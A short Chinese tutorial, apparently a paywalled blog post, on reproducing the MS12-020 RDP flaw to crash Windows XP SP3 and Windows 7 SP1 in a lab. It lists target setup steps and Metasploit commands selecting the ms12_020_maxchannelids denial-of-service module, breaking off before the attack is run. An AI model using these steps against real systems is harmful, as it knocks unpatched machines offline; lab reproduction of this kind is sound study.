本文介绍了如何利用ms12_020漏洞进行远程桌面攻击，导致Windows XP SP3和Windows 7 SP1系统蓝屏重启。主要步骤包括环境设置，如关闭防火墙、自动更新，开启3389端口和远程协助，以及使用Metasploit框架复现漏洞，选定攻击模块和目标，最后执行渗透攻击。
一、环境:
目标:WinXpSp3、windows7sp1 中文版,利用RDP协议导致目标蓝屏重启
二、设置(缺一不可):
1.关闭防火墙服务(否则会显示连接超时)
2.关闭自动更新服务
3.开启3389端口
4.允许远程协助
三、msf漏洞复现metasploit
1）：查找漏洞
命令：search ms12_020
2）：选择rank等级较高的模块(good、great)
命令：use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
3）：查找该漏洞可复现的操作系统类型
命令：show targets
4）：查看该模块需要配置的其他参数
命令：show options
required 项为 yes 的为必填项</
最低0.47元/天 解锁文章
扫一扫
1万+
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
